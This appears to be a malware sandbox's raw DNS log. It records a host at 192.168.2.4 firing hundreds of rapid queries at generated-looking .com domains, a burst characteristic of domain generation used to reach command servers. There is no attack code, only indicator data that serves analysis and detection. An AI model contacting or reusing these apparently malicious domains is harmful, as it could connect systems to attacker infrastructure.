                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.748044968 CET192.168.2.41.1.1.10x10Standard query (0)puzymev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.748358965 CET192.168.2.41.1.1.10xb787Standard query (0)qeqyloq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.751224995 CET192.168.2.41.1.1.10xa1e3Standard query (0)gaqyzoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.753592014 CET192.168.2.41.1.1.10x6adeStandard query (0)pufydul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.755897045 CET192.168.2.41.1.1.10x9c5bStandard query (0)gacyqys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.756328106 CET192.168.2.41.1.1.10xfa8Standard query (0)qexyqyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.757704973 CET192.168.2.41.1.1.10xc8e1Standard query (0)lyxymed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.765388966 CET192.168.2.41.1.1.10x882aStandard query (0)vowyzam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.765640974 CET192.168.2.41.1.1.10xca8Standard query (0)lygyfir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.769870996 CET192.168.2.41.1.1.10x8aeeStandard query (0)vocyquc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.770654917 CET192.168.2.41.1.1.10x7c47Standard query (0)gahyfow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.771253109 CET192.168.2.41.1.1.10x4365Standard query (0)lyryxen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.780780077 CET192.168.2.41.1.1.10xa189Standard query (0)puryxag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.793724060 CET192.168.2.41.1.1.10x510eStandard query (0)qegyfil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.795378923 CET192.168.2.41.1.1.10xb150Standard query (0)puvywup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.795720100 CET192.168.2.41.1.1.10x9f30Standard query (0)qetyxeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.795900106 CET192.168.2.41.1.1.10xf7ddStandard query (0)vojygok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.974903107 CET192.168.2.41.1.1.10x5ddfStandard query (0)lyvywux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.976171970 CET192.168.2.41.1.1.10x54a3Standard query (0)qebyrip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.979650974 CET192.168.2.41.1.1.10xf272Standard query (0)vonyrot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.979723930 CET192.168.2.41.1.1.10xc35eStandard query (0)qeqytal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.983365059 CET192.168.2.41.1.1.10x1498Standard query (0)gacykub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.995131969 CET192.168.2.41.1.1.10x104Standard query (0)lysyvud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.998635054 CET192.168.2.41.1.1.10x5bStandard query (0)pufybop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.000483036 CET192.168.2.41.1.1.10xa5feStandard query (0)galyheh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.000699043 CET192.168.2.41.1.1.10xd254Standard query (0)vowypek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.000861883 CET192.168.2.41.1.1.10x7c5fStandard query (0)pujygaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.001008034 CET192.168.2.41.1.1.10xab76Standard query (0)qexykug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.001142979 CET192.168.2.41.1.1.10x9b00Standard query (0)lygynox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.001301050 CET192.168.2.41.1.1.10xb43cStandard query (0)gaqypew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.001435995 CET192.168.2.41.1.1.10xe959Standard query (0)lyxyjun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.001573086 CET192.168.2.41.1.1.10xb20eStandard query (0)vofybic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.001703978 CET192.168.2.41.1.1.10x9ad4Standard query (0)puzyjyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.001837969 CET192.168.2.41.1.1.10x676fStandard query (0)qekyheq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.001981020 CET192.168.2.41.1.1.10x9b0eStandard query (0)gadyvis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.010870934 CET192.168.2.41.1.1.10x6199Standard query (0)lymytar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.015012980 CET192.168.2.41.1.1.10x467bStandard query (0)volyjym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.015177011 CET192.168.2.41.1.1.10x3ebeStandard query (0)vopycyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.016113997 CET192.168.2.41.1.1.10xfd17Standard query (0)pupycuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.016772985 CET192.168.2.41.1.1.10x13bfStandard query (0)qedyvuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.018151999 CET192.168.2.41.1.1.10x94fcStandard query (0)ganyriz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.040846109 CET192.168.2.41.1.1.10x97f7Standard query (0)pumytol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.042989016 CET192.168.2.41.1.1.10xd529Standard query (0)lykygaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.423976898 CET192.168.2.41.1.1.10x2f57Standard query (0)qekyfiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.446238995 CET192.168.2.41.1.1.10x4f54Standard query (0)pupyxal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.446546078 CET192.168.2.41.1.1.10xe422Standard query (0)qedysyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.446717024 CET192.168.2.41.1.1.10x26a8Standard query (0)galynab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.446871042 CET192.168.2.41.1.1.10xa448Standard query (0)ganyqyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.447324038 CET192.168.2.41.1.1.10xbef0Standard query (0)vopyzot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.455765009 CET192.168.2.41.1.1.10x200cStandard query (0)qebyqeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.468908072 CET192.168.2.41.1.1.10x987cStandard query (0)puzygop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.470042944 CET192.168.2.41.1.1.10x687bStandard query (0)lykyfud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.471544027 CET192.168.2.41.1.1.10x5ab1Standard query (0)pumyliq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.472637892 CET192.168.2.41.1.1.10x5f81Standard query (0)vonyqym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.473537922 CET192.168.2.41.1.1.10x3dd7Standard query (0)gadycew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.473629951 CET192.168.2.41.1.1.10x60f4Standard query (0)vofycyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.474064112 CET192.168.2.41.1.1.10xa0a8Standard query (0)lyxygax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.474111080 CET192.168.2.41.1.1.10x8b9bStandard query (0)volymaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.483155966 CET192.168.2.41.1.1.10xdb5Standard query (0)vopypec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.486872911 CET192.168.2.41.1.1.10x23e1Standard query (0)vonykuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.487941980 CET192.168.2.41.1.1.10x2e85Standard query (0)vocyjet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.488629103 CET192.168.2.41.1.1.10x43dcStandard query (0)lyvyjyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.490540981 CET192.168.2.41.1.1.10x641fStandard query (0)pujybig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.491091013 CET192.168.2.41.1.1.10xf625Standard query (0)gatypas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.491997957 CET192.168.2.41.1.1.10x6a11Standard query (0)qebykul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.495065928 CET192.168.2.41.1.1.10x8fe9Standard query (0)lykynon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.496525049 CET192.168.2.41.1.1.10xf662Standard query (0)ganykuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.496828079 CET192.168.2.41.1.1.10x32ffStandard query (0)lymywun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.499078989 CET192.168.2.41.1.1.10x1d06Standard query (0)pumywug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.499907970 CET192.168.2.41.1.1.10x4a2eStandard query (0)lyrytod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.508809090 CET192.168.2.41.1.1.10xbff1Standard query (0)qetytav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.509088039 CET192.168.2.41.1.1.10x2f94Standard query (0)vojybim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.509526014 CET192.168.2.41.1.1.10xd4dStandard query (0)lysyxar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.509707928 CET192.168.2.41.1.1.10xd4faStandard query (0)qegyvuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.509707928 CET192.168.2.41.1.1.10x72b3Standard query (0)qekynog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.509884119 CET192.168.2.41.1.1.10xda45Standard query (0)qedyxel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.509933949 CET192.168.2.41.1.1.10x861aStandard query (0)pupypep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.510031939 CET192.168.2.41.1.1.10x4236Standard query (0)puvyjyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.513232946 CET192.168.2.41.1.1.10x122Standard query (0)volygoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.514836073 CET192.168.2.41.1.1.10x1c2bStandard query (0)gahyvuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.515187025 CET192.168.2.41.1.1.10xbc6Standard query (0)galyfis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.515619993 CET192.168.2.41.1.1.10x4adbStandard query (0)purytov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.517210007 CET192.168.2.41.1.1.10x376fStandard query (0)gacyhez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.517829895 CET192.168.2.41.1.1.10xd4cfStandard query (0)vowyrif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.519104004 CET192.168.2.41.1.1.10x1fd3Standard query (0)qexyhap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.520543098 CET192.168.2.41.1.1.10x2c98Standard query (0)pufycyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.524596930 CET192.168.2.41.1.1.10x6cdeStandard query (0)gaqyrib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.524801970 CET192.168.2.41.1.1.10xd60dStandard query (0)lysysyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.525275946 CET192.168.2.41.1.1.10x507dStandard query (0)gaqykus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.536426067 CET192.168.2.41.1.1.10x3dd1Standard query (0)pufypeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.561386108 CET192.168.2.41.1.1.10x9d04Standard query (0)vojyduf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.562304020 CET192.168.2.41.1.1.10x3a4fStandard query (0)lyvymej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.567604065 CET192.168.2.41.1.1.10x3c5eStandard query (0)qetylip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.567820072 CET192.168.2.41.1.1.10xc01fStandard query (0)purylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.567992926 CET192.168.2.41.1.1.10xab4aStandard query (0)gacynow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.568460941 CET192.168.2.41.1.1.10x2965Standard query (0)vowykuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.568871975 CET192.168.2.41.1.1.10x8495Standard query (0)qeqyrug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.570096016 CET192.168.2.41.1.1.10x8f1fStandard query (0)qegysyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.570453882 CET192.168.2.41.1.1.10x9a37Standard query (0)vocymak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.570552111 CET192.168.2.41.1.1.10x1dd2Standard query (0)lyrylix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.570652962 CET192.168.2.41.1.1.10xb04aStandard query (0)lygysen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.570756912 CET192.168.2.41.1.1.10x8c9cStandard query (0)qexynol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.571147919 CET192.168.2.41.1.1.10x9a6cStandard query (0)gatyzoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.573894024 CET192.168.2.41.1.1.10xece2Standard query (0)gahydyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.574318886 CET192.168.2.41.1.1.10xfa90Standard query (0)pujyduv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.794940948 CET192.168.2.41.1.1.10xa88aStandard query (0)puvymaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.958583117 CET192.168.2.41.1.1.10x9ebfStandard query (0)lyxynir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.961380959 CET192.168.2.41.1.1.10xa235Standard query (0)vofypam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.963459969 CET192.168.2.41.1.1.10xe37Standard query (0)qeqykyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.965739012 CET192.168.2.41.1.1.10xa584Standard query (0)puzybil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.969932079 CET192.168.2.41.1.1.10x8f00Standard query (0)gadypah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.971091032 CET192.168.2.41.1.1.10xd4f6Standard query (0)lymyjyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.974513054 CET192.168.2.41.1.1.10xff27Standard query (0)vocybuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.975481987 CET192.168.2.41.1.1.10xfc3cStandard query (0)lyvynid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.975564003 CET192.168.2.41.1.1.10x12beStandard query (0)puryjeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.987523079 CET192.168.2.41.1.1.10x4ce2Standard query (0)qegytop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.988002062 CET192.168.2.41.1.1.10xb364Standard query (0)lyryjej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:07.988863945 CET192.168.2.41.1.1.10x64bcStandard query (0)puvybuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.004281044 CET192.168.2.41.1.1.10xe583Standard query (0)ganynos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.008745909 CET192.168.2.41.1.1.10x7Standard query (0)qekysel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.011709929 CET192.168.2.41.1.1.10x5f8Standard query (0)lysylun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.019032955 CET192.168.2.41.1.1.10xc949Standard query (0)qetykyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.019377947 CET192.168.2.41.1.1.10xd02fStandard query (0)vonymoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.021567106 CET192.168.2.41.1.1.10x3a83Standard query (0)qebyniv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.022155046 CET192.168.2.41.1.1.10xfeb2Standard query (0)pujypal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.030328989 CET192.168.2.41.1.1.10x915fStandard query (0)vopykum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.030947924 CET192.168.2.41.1.1.10xca6aStandard query (0)lykyser.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.031131983 CET192.168.2.41.1.1.10x5ff8Standard query (0)gatykyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.031285048 CET192.168.2.41.1.1.10x7d50Standard query (0)gahypoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.031465054 CET192.168.2.41.1.1.10x3699Standard query (0)vojypat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.031857967 CET192.168.2.41.1.1.10xa4a3Standard query (0)pupylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.045671940 CET192.168.2.41.1.1.10xeda3Standard query (0)qedylig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.052465916 CET192.168.2.41.1.1.10xb88fStandard query (0)galydyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.056552887 CET192.168.2.41.1.1.10x476fStandard query (0)pufyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.077143908 CET192.168.2.41.1.1.10x9057Standard query (0)puzyduq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.081057072 CET192.168.2.41.1.1.10x62f4Standard query (0)gaqyqez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.081445932 CET192.168.2.41.1.1.10xb689Standard query (0)purywyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.081996918 CET192.168.2.41.1.1.10x7234Standard query (0)gacyfih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.082156897 CET192.168.2.41.1.1.10x8f11Standard query (0)qetyrul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.082323074 CET192.168.2.41.1.1.10xc0cdStandard query (0)gahyces.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.082552910 CET192.168.2.41.1.1.10x8c58Standard query (0)puvygog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.082717896 CET192.168.2.41.1.1.10x79d2Standard query (0)lyrywur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.083134890 CET192.168.2.41.1.1.10x219eStandard query (0)qexyfuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.083317995 CET192.168.2.41.1.1.10x3a16Standard query (0)gadyzib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.083470106 CET192.168.2.41.1.1.10xb67Standard query (0)vowyqyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.083631039 CET192.168.2.41.1.1.10xae6dStandard query (0)lygyxad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.083924055 CET192.168.2.41.1.1.10xeadbStandard query (0)pumymap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.084095001 CET192.168.2.41.1.1.10x45f5Standard query (0)lyxyfuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.084332943 CET192.168.2.41.1.1.10x2400Standard query (0)lymymax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.084506035 CET192.168.2.41.1.1.10x50e8Standard query (0)volydyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.084729910 CET192.168.2.41.1.1.10xec2Standard query (0)qeqyqep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.084961891 CET192.168.2.41.1.1.10xaf3bStandard query (0)vofyzof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.085371971 CET192.168.2.41.1.1.10x2097Standard query (0)qegyxav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.088547945 CET192.168.2.41.1.1.10x2e87Standard query (0)vocygim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.217195988 CET192.168.2.41.1.1.10x6b9fStandard query (0)pumyjev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.308274984 CET192.168.2.41.1.1.10x9979Standard query (0)volybut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.309802055 CET192.168.2.41.1.1.10xb015Standard query (0)pujycyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.310236931 CET192.168.2.41.1.1.10xf848Standard query (0)lysytoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.315356016 CET192.168.2.41.1.1.10xdaa9Standard query (0)galyvuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.315560102 CET192.168.2.41.1.1.10xd9cbStandard query (0)vonyjef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.316232920 CET192.168.2.41.1.1.10xe311Standard query (0)lykyvyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.316406012 CET192.168.2.41.1.1.10x527cStandard query (0)vopyrik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.316574097 CET192.168.2.41.1.1.10x3459Standard query (0)lyvygon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.316765070 CET192.168.2.41.1.1.10xc302Standard query (0)gatyruw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.316939116 CET192.168.2.41.1.1.10xc6efStandard query (0)vojycec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.317059040 CET192.168.2.41.1.1.10x73c3Standard query (0)ganyhab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.317136049 CET192.168.2.41.1.1.10xd9a7Standard query (0)pupytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.317265034 CET192.168.2.41.1.1.10x2f33Standard query (0)qedytoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.371500015 CET192.168.2.41.1.1.10xb478Standard query (0)qebyhag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.372343063 CET192.168.2.41.1.1.10x8c21Standard query (0)qekyvup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.626050949 CET192.168.2.41.1.1.10xa805Standard query (0)gacyvub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.628442049 CET192.168.2.41.1.1.10x163bStandard query (0)pufytip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.628478050 CET192.168.2.41.1.1.10x7e3dStandard query (0)gaqyhaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.636286974 CET192.168.2.41.1.1.10x20a7Standard query (0)pumygil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.639695883 CET192.168.2.41.1.1.10x797fStandard query (0)lysywyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.640167952 CET192.168.2.41.1.1.10xf0e3Standard query (0)galycah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.642458916 CET192.168.2.41.1.1.10xc8d9Standard query (0)qekyxaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.643069029 CET192.168.2.41.1.1.10x90a8Standard query (0)volycem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.643384933 CET192.168.2.41.1.1.10x9058Standard query (0)pupywyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.643573046 CET192.168.2.41.1.1.10x8ef6Standard query (0)vonygit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.645324945 CET192.168.2.41.1.1.10x67edStandard query (0)puzyceg.comA (IP address)IN (0x0001)false
